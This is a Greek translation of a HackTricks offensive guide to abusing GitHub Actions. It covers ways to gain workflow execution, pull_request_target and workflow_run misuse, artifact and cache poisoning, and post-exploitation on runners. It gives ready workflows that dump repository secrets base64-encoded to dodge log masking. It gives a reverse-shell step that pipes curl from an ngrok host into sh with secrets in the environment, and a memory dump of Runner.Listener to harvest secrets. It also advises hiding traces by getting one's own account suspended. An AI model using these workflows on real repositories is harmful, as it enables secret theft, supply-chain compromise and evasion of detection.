Abusing Github Actions

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

• Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!

• Αποκτήστε το επίσημο PEASS & HackTricks swag

• Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του Github.

Βασικές Πληροφορίες

Σε αυτήν τη σελίδα θα βρείτε:

• Ένα σύνοψη όλων των επιπτώσεων ενός επιτιθέμενου που καταφέρνει να έχει πρόσβαση σε μια ενέργεια του Github

• Διαφορετικούς τρόπους για να αποκτήσετε πρόσβαση σε μια ενέργεια:

  • Έχοντας δικαιώματα για τη δημιουργία της ενέργειας

  • Κατάχρηση σχετικών ενεργοποιητών αιτήσεων ενσωμάτωσης (pull request)

  • Κατάχρηση άλλων εξωτερικών τεχνικών πρόσβασης

  • Εναλλαγή από ένα ήδη χειρισμένο αποθετήριο

• Τέλος, μια ενότητα για τεχνικές μετά-εκμετάλλευσης για την κατάχρηση μιας ενέργειας από μέσα (λόγω των αναφερθέντων επιπτώσεων)

Σύνοψη Επιπτώσεων

Για μια εισαγωγή σχετικά με τις Ενέργειες του Github ελέγξτε τις βασικές πληροφορίες.

Σε περίπτωση που μπορείτε να εκτελέσετε αυθαίρετες ενέργειες του Github/να ενσωματώσετε κώδικα σε ένα αποθετήριο, θα μπορούσατε να:

• Κλέψετε τα μυστικά από αυτό το αποθετήριο/οργανισμό.

• Αν μπορείτε μόνο να ενσωματώσετε, μπορείτε να κλέψετε οτιδήποτε είναι ήδη παρόν στη ροή εργασίας.

• Κατάχρηση των δικαιωμάτων του αποθετηρίου για πρόσβαση σε άλλες πλατφόρμες όπως AWS και GCP.

• Εκτέλεση κώδικα σε προσαρμοσμένους εργαζομένους (εάν χρησιμοποιούνται προσαρμοσμένοι εργαζόμενοι) και προσπαθήστε να εναλλάξετε από εκεί.

• Αντικατάσταση κώδικα αποθετηρίου.

• Αυτό εξαρτάται από τα δικαιώματα του GITHUB_TOKEN (εάν υπάρχουν).

• Θέτετε σε κίνδυνο αναπτύξεις και άλλα αντικείμενα.

• Αν ο κώδικας αναπτύσσει ή αποθηκεύει κάτι μπορείτε να το τροποποιήσετε και να αποκτήσετε περαιτέρω πρόσβαση.

GITHUB_TOKEN

Αυτό το "μυστικό" (προέρχεται από ${{ secrets.GITHUB_TOKEN }} και ${{ github.token }}) δίνεται όταν ο διαχειριστής ενεργοποιεί αυτήν την επιλογή:

Αυτό το τοκέν είναι το ίδιο με αυτό που θα χρησιμοποιήσει μια Εφαρμογή του Github, έτσι μπορεί να έχει πρόσβαση στα ίδια σημεία: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Το Github θα πρέπει να κυκλοφορήσει ένα ροή που επιτρέπει τη διασταύρωση αποθετηρίων εντός του GitHub, έτσι ένα αποθετήριο μπορεί να έχει πρόσβαση σε άλλα εσωτερικά αποθετήρια χρησιμοποιώντας το GITHUB_TOKEN.

Μπορείτε να δείτε τα πιθανά δικαιώματα αυτού του τοκέν στο: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Σημειώστε ότι το τοκέν λήγει μετά την ολοκλήρωση της εργασίας. Αυτά τα τοκέν μοιάζουν με αυτό: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Κάποια ενδιαφέροντα πράγματα που μπορείτε να κάνετε με αυτό το τοκέν:

Συγχώνευση PR

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Έγκριση PR

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

Δημιουργία PR

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

Σημειώστε ότι σε πολλές περιπτώσεις μπορείτε να βρείτε tokens χρήστη του Github μέσα στα περιβάλλοντα των Github Actions ή στα μυστικά. Αυτά τα tokens μπορεί να σας δώσουν περισσότερα προνόμια στο αποθετήριο και τον οργανισμό.

Λίστα μυστικών στην έξοδο των Github Actions

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Λήψη αντίστροφου κελύφους με μυστικά

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Είναι δυνατόν να ελέγξετε τα δικαιώματα που δίνονται σε ένα Github Token σε αποθετήρια άλλων χρηστών ελέγχοντας τα logs των ενεργειών:

Επιτρεπόμενη Εκτέλεση

Αυτό θα ήταν ο ευκολότερος τρόπος να διακινδυνεύσετε τις ενέργειες του Github, καθώς σε αυτήν την περίπτωση υποθέτουμε ότι έχετε πρόσβαση για δημιουργία ενός νέου αποθετηρίου στον οργανισμό, ή έχετε δικαιώματα εγγραφής σε ένα αποθετήριο.

Αν βρίσκεστε σε αυτό το σενάριο, μπορείτε απλά να ελέγξετε τις τεχνικές μετά-εκμετάλλευσης.

Εκτέλεση από Δημιουργία Αποθετηρίου

Στην περίπτωση που τα μέλη ενός οργανισμού μπορούν να δημιουργήσουν νέα αποθετήρια και μπορείτε να εκτελέσετε ενέργειες στο Github, μπορείτε να δημιουργήσετε ένα νέο αποθετήριο και να κλέψετε τα μυστικά που έχουν οριστεί σε επίπεδο οργανισμού.

Εκτέλεση από Νέο Branch

Αν μπορείτε να δημιουργήσετε ένα νέο branch σε ένα αποθετήριο που ήδη περιέχει μια ενέργεια του Github Action που έχει διαμορφωθεί, μπορείτε να την τροποποιήσετε, να ανεβάσετε το περιεχόμενο, και στη συνέχεια να εκτελέσετε αυτήν την ενέργεια από το νέο branch. Με αυτόν τον τρόπο μπορείτε να εξαγάγετε μυστικά από το αποθετήριο και τον οργανισμό (αλλά πρέπει να γνωρίζετε πώς ονομάζονται).

Μπορείτε να κάνετε την τροποποιημένη ενέργεια εκτελέσιμη χειροκίνητα, όταν δημιουργείται μια Αίτηση Σύγχρονης Ενημέρωσης (PR) ή όταν κάποιος κώδικας πιέζεται (ανάλογα με το πόσο θορυβώδες θέλετε να είστε):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

---

Εκτέλεση Forked

Υπάρχουν διαφορετικά triggers που θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να εκτελέσει μια Δράση Github από ένα άλλο αποθετήριο. Εάν αυτές οι ενεργοποιήσιμες δράσεις είναι κακά διαμορφωμένες, ένας επιτιθέμενος θα μπορούσε να τις διακινδυνεύσει.

pull_request

Το trigger του ροής εργασίας pull_request θα εκτελέσει τη ροή εργασίας κάθε φορά που λαμβάνεται ένα αίτημα ενσωμάτωσης με κάποιες εξαιρέσεις: από προεπιλογή, αν είναι η πρώτη φορά που συνεργάζεστε, κάποιος διαχειριστής θα πρέπει να εγκρίνει τη εκτέλεση της ροής εργασίας:

Καθώς ο προεπιλεγμένος περιορισμός είναι για συνεισφέροντες πρώτη φορά, θα μπορούσατε να συνεισφέρετε διορθώνοντας ένα έγκυρο σφάλμα/τυπογραφικό λάθος και στη συνέχεια να στείλετε άλλα PRs για να καταχραστείτε τα νέα σας προνόμια pull_request.

Το δοκίμασα και δεν λειτουργεί: Μια άλλη επιλογή θα ήταν να δημιουργήσετε ένα λογαριασμό με το όνομα κάποιου που συνεισφέρει στο έργο και διέγραψε τον λογαριασμό του.

Επιπλέον, από προεπιλογή αποτρέπει τις άδειες εγγραφής και την πρόσβαση σε μυστικά στον στόχο αποθετήριο, όπως αναφέρεται στα έγγραφα :

Με εξαίρεση του GITHUB_TOKEN, τα μυστικά δεν περνούν στον εκτελητή όταν μια ροή εργασίας ενεργοποιείται από ένα διακλαδωμένο αποθετήριο. Το GITHUB_TOKEN έχει δικαιώματα μόνο για ανάγνωση σε αιτήσεις ενσωμάτωσης από διακλαδωμένα αποθετήρια.

Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τον ορισμό της Δράσης του Github για να εκτελέσει αυθαίρετα πράγματα και να προσθέσει αυθαίρετες ενέργειες. Ωστόσο, δεν θα μπορούσε να κλέψει μυστικά ή να αντικαταστήσει το αποθετήριο λόγω των αναφερθέντων περιορισμών.

Ναι, αν ο επιτιθέμενος αλλάξει στο PR τη δράση του github που θα ενεργοποιηθεί, η Δράση του Github που θα χρησιμοποιηθεί θα είναι αυτή που δημιούργησε ο επιτιθέμενος και όχι αυτή από το αρχικό αποθετήριο!

Καθώς ο επιτιθέμενος ελέγχει επίσης τον κώδικα που εκτελείται, ακόμη κι αν δεν υπάρχουν μυστικά ή άδειες εγγραφής στο GITHUB_TOKEN, ένας επιτιθέμενος θα μπορούσε, για παράδειγμα, να ανεβάσει κακόβουλα αρχεία.

pull_request_target

Το trigger της ροής εργασίας pull_request_target έχει άδειες εγγραφής στον στόχο αποθετήριο και πρόσβαση σε μυστικά (και δεν ζητά άδεια).

Σημειώστε ότι το trigger της ροής εργασίας pull_request_target τρέχει στο βασικό πλαίσιο και όχι στο πλαίσιο που δίνεται από το PR (για να μην εκτελεί μη αξιόπιστο κώδικα). Για περισσότερες πληροφορίες σχετικά με το pull_request_target ελέγξτε τα έγγραφα. Επιπλέον, για περισσότερες πληροφορίες σχετικά με αυτήν τη συγκεκριμένα επικίνδυνη χρήση, ελέγξτε αυτήν την ανάρτηση στο blog του github.

Μπορεί να φαίνεται ότι επειδή η εκτελούμενη ροή είναι αυτή που ορίζεται στο βασικό και όχι στο PR, είναι ασφαλές να χρησιμοποιείτε το pull_request_target, αλλά υπάρχουν μερικές περιπτώσεις όπου δεν είναι.

Και αυτός θα έχει πρόσβαση σε μυστικά.

workflow_run

Το trigger workflow_run επιτρέπει την εκτέλεση μιας ροής εργασίας από μια διαφορετική όταν είναι ολοκληρωμένη, ζητημένη ή σε εξέλιξη.

Σε αυτό το παράδειγμα, μια ροή εργασίας έχει διαμορφωθεί να τρέξει μετά την ολοκλήρωση της ξεχωριστής ροής "Εκτέλεση Δοκιμών":

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Επιπλέον, σύμφωνα με τα έγγραφα: Η ροή εργασίας που ξεκινά από το συμβάν workflow_run μπορεί να έχει πρόσβαση σε μυστικά και να γράψει τα εισιτήρια, ακόμη κι αν η προηγούμενη ροή εργασίας δεν ήταν.

Αυτού του είδους ροή εργασίας θα μπορούσε να δέχεται επίθεση αν εξαρτάται από μια ροή εργασίας που μπορεί να ενεργοποιηθεί από έναν εξωτερικό χρήστη μέσω pull_request ή pull_request_target. Μερικά ευάλωτα παραδείγματα μπορεί να βρεθούν σε αυτό το blog. Το πρώτο αποτελείται από τη ροή εργασίας που ενεργοποιείται από το workflow_run να κατεβάζει τον κώδικα του επιτιθέμενου: ${{ github.event.pull_request.head.sha }}. Το δεύτερο αποτελείται από τη μετάδοση ενός αντικειμένου από τον μη αξιόπιστο κώδικα στη ροή εργασίας workflow_run και τη χρήση του περιεχομένου αυτού του αντικειμένου με έναν τρόπο που το καθιστά ευάλωτο στην RCE.

workflow_call

TODO

TODO: Ελέγξτε αν κατά την εκτέλεση από ένα pull_request ο κώδικας που χρησιμοποιείται/κατεβάζεται είναι αυτός από την προέλευση ή από το forked PR

Κατάχρηση Εκτέλεσης Forked

Έχουμε αναφέρει όλους τους τρόπους με τους οποίους ένας εξωτερικός επιτιθέμενος θα μπορούσε να καταφέρει να εκτελέσει μια ροή εργασίας στο github, ας δούμε τώρα πώς αυτές οι εκτελέσεις, αν δεν έχουν καλή ρύθμιση, θα μπορούσαν να καταχραστούνται:

Εκτέλεση μη αξιόπιστου checkout

Στην περίπτωση του pull_request, η ροή εργασίας θα εκτελείται στο πλαίσιο του PR (έτσι θα εκτελεί τον κακόβουλο κώδικα των PRs), αλλά κάποιος πρέπει να το εξουσιοδοτήσει πρώτα και θα τρέξει με κάποιους περιορισμούς.

Σε περίπτωση μιας ροής εργασίας που χρησιμοποιεί pull_request_target ή workflow_run και εξαρτάται από μια ροή εργασίας που μπορεί να ενεργοποιηθεί από pull_request_target ή pull_request, ο κώδικας από το αρχικό αποθετήριο θα εκτελεστεί, έτσι ο επιτιθέμενος δεν μπορεί να ελέγξει τον εκτελούμενο κώδικα.

Ωστόσο, αν η ενέργεια έχει ένα συγκεκριμένο checkout PR που θα πάρει τον κώδικα από το PR (και όχι από τη βάση), θα χρησιμοποιήσει τον κώδικα που ελέγχεται από τον επιτιθέμενο. Για παράδειγμα (ελέγξτε τη γραμμή 12 όπου ο κώδικας του PR κατεβαίνει):

# ΑΝΑΣΦΑΛΕΣ. Παρέχεται μόνο ως παράδειγμα.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Ο πιθανά μη αξιόπιστος κώδικας εκτελείται κατά τη διάρκεια του npm install ή npm build καθώς οι σενάριο κατασκευής και τα αναφερόμενα πακέτα ελέγχονται από τον συγγραφέα του PR.

Ένα github dork για την αναζήτηση ευάλωτων ενεργειών είναι: event.pull_request pull_request_target extension:yml ωστόσο, υπάρχουν διαφορετικοί τρόποι να ρυθμιστούν οι εργασίες για να εκτελούνται με ασφάλεια ακόμη κι αν η ενέργεια έχει ρυθμιστεί με ευπάθεια (όπως η χρήση συνθηκών σχετικά με τον χρήστη που δημιουργεί το PR).

Ενσωμάτωση Σεναρίων Πλαισίου

Σημειώστε ότι υπάρχουν ορισμένα πλαίσια github των οποίων οι τιμές ελέγχονται από τον χρήστη που δημιουργεί το PR. Αν η ενέργεια του github χρησιμοποιεί αυτά τα δεδομένα για να εκτελέσει οτιδήποτε, μπορεί να οδηγήσει σε αυθαίρετη εκτέλεση κώδικα:

Gh Actions - Context Script Injections

Ενσωμάτωση Σεναρίων GITHUB_ENV

Από τα έγγραφα: Μπορείτε να κάνετε ένα μεταβλητή περιβάλλοντος διαθέσιμη σε οποιαδήποτε επόμενη βήματα σε μια εργασία ροής εργασίας καθορίζοντας ή ενημερώνοντας τη μεταβλητή περιβάλλοντος και γράφοντας αυτό στο αρχείο περιβάλλοντος GITHUB_ENV.

Αν ένας επιτιθέμενος μπορούσε να ενθάρρυνει οποιαδήποτε τιμή μέσα σε αυτή τη μεταβλητή env, θα μπορούσε να ενθάρρυνει μεταβλητές env που θα μπορούσαν να εκτελέσουν κώδικα σε επόμενα βήματα όπως LD_PRELOAD ή NODE_OPTIONS.

Για παράδειγμα (αυτό και αυτό), φανταστείτε μια ροή εργασίας που εμπιστεύεται ένα ανεβασμένο αντικείμενο για να αποθηκεύσει το περιεχόμενό του μέσα στη μεταβλητή περιβάλλοντος GITHUB_ENV. Ένας επιτιθέμενος θα μπορούσε να ανεβάσει κάτι τέτοιο για να το διακινδυνεύσει:

Ευάλωτες Ενέργειες Τρίτων Μερών στο Github

dawidd6/action-download-artifact

Όπως αναφέρεται σε αυτή την ανάρτηση στο blog, αυτή η Ενέργεια του Github επιτρέπει την πρόσβαση σε αντικείμενα από διαφορετικές ροές εργασίας και ακόμη και αποθετήρια.

Το πρόβλημα είναι ότι αν η παράμετρος path δεν έχει οριστεί, το αντικείμενο εξάγεται στον τρέχοντα κατάλογο και μπορεί να αντικαταστήσει αρχεία που θα μπορούσαν να χρησιμοποιηθούν αργότερα ή ακόμη και να εκτελεστούν στη ροή εργασίας. Επομένως, αν το Αντικείμενο είναι ευάλωτο, ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτό για να διακινδυνεύσει άλλες ροές εργασίας που εμπιστεύονται το Αντικείμενο.

Παράδειγμα ευάλωτης ροής εργασίας:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Αυτό θα μπορούσε να επιτεθεί με αυτήν τη ροή εργασίας:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

---

Άλλη Εξωτερική Πρόσβαση

Εκμετάλλευση Διαγραφής Αποθετηρίου Ονομάτων

Εάν ένα λογαριασμός αλλάξει το όνομά του, ένας άλλος χρήστης μπορεί να εγγραφεί με αυτό το όνομα αργότερα. Εάν ένα αποθετήριο είχε λιγότερα από 100 αστέρια πριν από την αλλαγή ονόματος, το Github θα επιτρέψει στο νέο εγγεγραμμένο χρήστη με το ίδιο όνομα να δημιουργήσει ένα αποθετήριο με το ίδιο όνομα με αυτό που διαγράφηκε.

Έτσι, εάν μια ενέργεια χρησιμοποιεί ένα αποθετήριο από έναν μη υπάρχοντα λογαριασμό, είναι ακόμα δυνατόν ένας επιτιθέμενος να δημιουργήσει αυτόν τον λογαριασμό και να διακινδυνεύσει την ενέργεια.

Εάν άλλα αποθετήρια χρησιμοποιούσαν εξαρτήσεις από αυτά τα αποθετήρια χρήστη, ένας επιτιθέμενος θα μπορούσε να τα αρπάξει. Εδώ έχετε μια πιο λεπτομερή εξήγηση: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

---

Ανακατεύθυνση Αποθετηρίου

Σε αυτήν την ενότητα θα μιλήσουμε για τεχνικές που θα επιτρέπουν την ανακατεύθυνση από ένα αποθετήριο σε ένα άλλο υποθέτοντας ότι έχουμε κάποιο είδος πρόσβασης στο πρώτο (ελέγξτε την προηγούμενη ενότητα).

Δηλητηρίαση Προσωρινής Μνήμης

Μια προσωρινή μνήμη διατηρείται μεταξύ εκτελέσεων ροών στον ίδιο κλαδί. Αυτό σημαίνει ότι εάν ένας επιτιθέμενος διακινδυνεύει ένα πακέτο που στη συνέχεια αποθηκεύεται στην προσωρινή μνήμη και κατεβάζεται και εκτελείται από μια πιο προνομιούχα ροή εργασίας, θα μπορεί να διακινδυνεύσει επίσης αυτήν τη ροή εργασίας.

GH Actions - Cache Poisoning

Δηλητηρίαση Αντικειμένου

Οι ροές εργασίας θα μπορούσαν να χρησιμοποιούν αντικείμενα από άλλες ροές εργασίας και ακόμα και αποθετήρια, εάν ένας επιτιθέμενος καταφέρει να διακινδυνεύσει τη Δράση του Github που ανεβάζει ένα αντικείμενο που χρησιμοποιείται αργότερα από μια άλλη ροή εργασίας, θα μπορούσε να διακινδυνεύσει τις άλλες ροές εργασίας:

Gh Actions - Artifact Poisoning

---

Μετά την Εκμετάλλευση από μια Ενέργεια

Πρόσβαση σε AWS και GCP μέσω OIDC

Ελέγξτε τις παρακάτω σελίδες:

AWS - Federation AbuseGCP - Federation Abuse

Πρόσβαση σε μυστικά

Εάν ενθέτετε περιεχόμενο σε ένα σενάριο, είναι ενδιαφέρον να γνωρίζετε πώς μπορείτε να έχετε πρόσβαση σε μυστικά:

• Εάν το μυστικό ή το τοκενικό είναι ορισμένο σε μια μεταβλητή περιβάλλοντος, μπορεί να αποκτηθεί απευθείας μέσω του περιβάλλοντος χρησιμοποιώντας το printenv.

Λίστα μυστικών στην έξοδο της Δράσης του Github

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Λήψη αντίστροφου κελύφους με μυστικά</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• Εάν το μυστικό χρησιμοποιείται άμεσα σε μια έκφραση, το δημιουργημένο shell script αποθηκεύεται στον δίσκο και είναι προσβάσιμο.

cat /home/runner/work/_temp/*

* Για μια ενέργεια σε JavaScript τα μυστικά στέλνονται μέσω μεταβλητών περιβάλλοντος
* ```bash
ps axe | grep node

• Για μια προσαρμοσμένη ενέργεια, ο κίνδυνος μπορεί να ποικίλει ανάλογα με το πώς ένα πρόγραμμα χρησιμοποιεί το μυστικό που έλαβε από το όρισμα:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Κατάχρηση Ιδιοκτητών Runners

Ο τρόπος για να βρείτε ποιες Ενέργειες Github εκτελούνται σε μη-υποδομές της Github είναι να αναζητήσετε το runs-on: self-hosted στη διαμόρφωση yaml της Ενέργειας του Github.

Οι ιδιοκτητοί runners μπορεί να έχουν πρόσβαση σε επιπλέον ευαίσθητες πληροφορίες, σε άλλα δίκτυα (ευάλωτα σημεία στο δίκτυο; υπηρεσία μεταδεδομένων;) ή, ακόμη κι αν είναι απομονωμένο και καταστρέφεται, περισσότερες από μία ενέργειες μπορεί να εκτελούνται ταυτόχρονα και η κακόβουλη μπορεί να κλέψει τα μυστικά της άλλης.

Στους ιδιοκτητούς runners είναι επίσης δυνατόν να αποκτηθούν τα μυστικά από τη διεργασία _Runner.Listener_** η οποία θα περιέχει όλα τα μυστικά των ροών εργασίας σε οποιοδήποτε στάδιο με την απόρριψη της μνήμης της:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Ελέγξτε αυτήν την ανάρτηση για περισσότερες πληροφορίες.

Καταχώριση Εικόνων Docker του Github

Είναι δυνατόν να δημιουργήσετε Github actions που θα κατασκευάζουν και αποθηκεύουν μια εικόνα Docker μέσα στο Github. Ένα παράδειγμα μπορεί να βρεθεί στο παρακάτω αναπτυσσόμενο:

Δημιουργία & Αποστολή Εικόνας Docker μέσω του Github Action

```yaml [...]

• name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

• name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

• name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

• name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Όπως μπορείτε να δείτε στον προηγούμενο κώδικα, το αποθετήριο του Github φιλοξενείται στο **`ghcr.io`**.

Ένας χρήστης με δικαιώματα ανάγνωσης στο αποθετήριο θα μπορεί στη συνέχεια να κατεβάσει την εικόνα Docker χρησιμοποιώντας ένα προσωπικό τοκεν:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Στη συνέχεια, ο χρήστης μπορεί να αναζητήσει διαρροές μυστικών στα επίπεδα της εικόνας Docker:

Ευαίσθητες πληροφορίες στα logs των Github Actions

Ακόμα κι αν το Github προσπαθεί να ανιχνεύσει μυστικές τιμές στα logs των actions και να αποφύγει να τις εμφανίσει, άλλα ευαίσθητα δεδομένα που θα μπορούσαν να έχουν δημιουργηθεί κατά την εκτέλεση της ενέργειας δεν θα κρυφτούν. Για παράδειγμα, ένα JWT που έχει υπογραφεί με μυστική τιμή δεν θα κρυφτεί εκτός αν είναι συγκεκριμένα ρυθμισμένο.

Κάλυψη των ίχνων σας

(Τεχνική από εδώ) Καταρχάς, οποιαδήποτε PR που υποβάλλεται είναι εμφανής στο κοινό στο Github και στον στόχο λογαριασμό του GitHub. Στο GitHub από προεπιλογή, δεν μπορούμε να διαγράψουμε μια PR από το διαδίκτυο, αλλά υπάρχει μια παρακαταθήκη. Για λογαριασμούς Github που είναι ανασταλμένοι από το Github, όλες οι PRs τους διαγράφονται αυτόματα και αφαιρούνται από το διαδίκτυο. Έτσι, για να κρύψετε τη δραστηριότητά σας, πρέπει είτε να αναστείλετε τον λογαριασμό σας στο GitHub είτε να τον σημαδεύσετε. Αυτό θα κρύψει όλες τις δραστηριότητές σας στο GitHub από το διαδίκτυο (βασικά θα αφαιρέσει όλες τις εκμεταλλεύσεις σας PR)

Μια οργάνωση στο GitHub είναι πολύ προσεκτική στο να αναφέρει λογαριασμούς στο GitHub. Το μόνο που χρειάζεται να κάνετε είναι να μοιραστείτε "κάποια πράγματα" στο Issue και θα βεβαιωθούν ότι ο λογαριασμός σας θα ανασταλεί σε 12 ώρες :p και έτσι έχετε κάνει την εκμετάλλευσή σας αόρατη στο github.

Ο μόνος τρόπος για μια οργάνωση να καταλάβει ότι έχει γίνει στόχος είναι να ελέγξει τα logs του GitHub από το SIEM αφού από το GitHub UI η PR θα έχει αφαιρεθεί.

Εργαλεία

Τα παρακάτω εργαλεία είναι χρήσιμα για την εύρεση των ροών εργασίας των Github Actions και ακόμα και για την εύρεση ευάλωτων:

• https://github.com/CycodeLabs/raven

• https://github.com/carlospolop/PurplePanda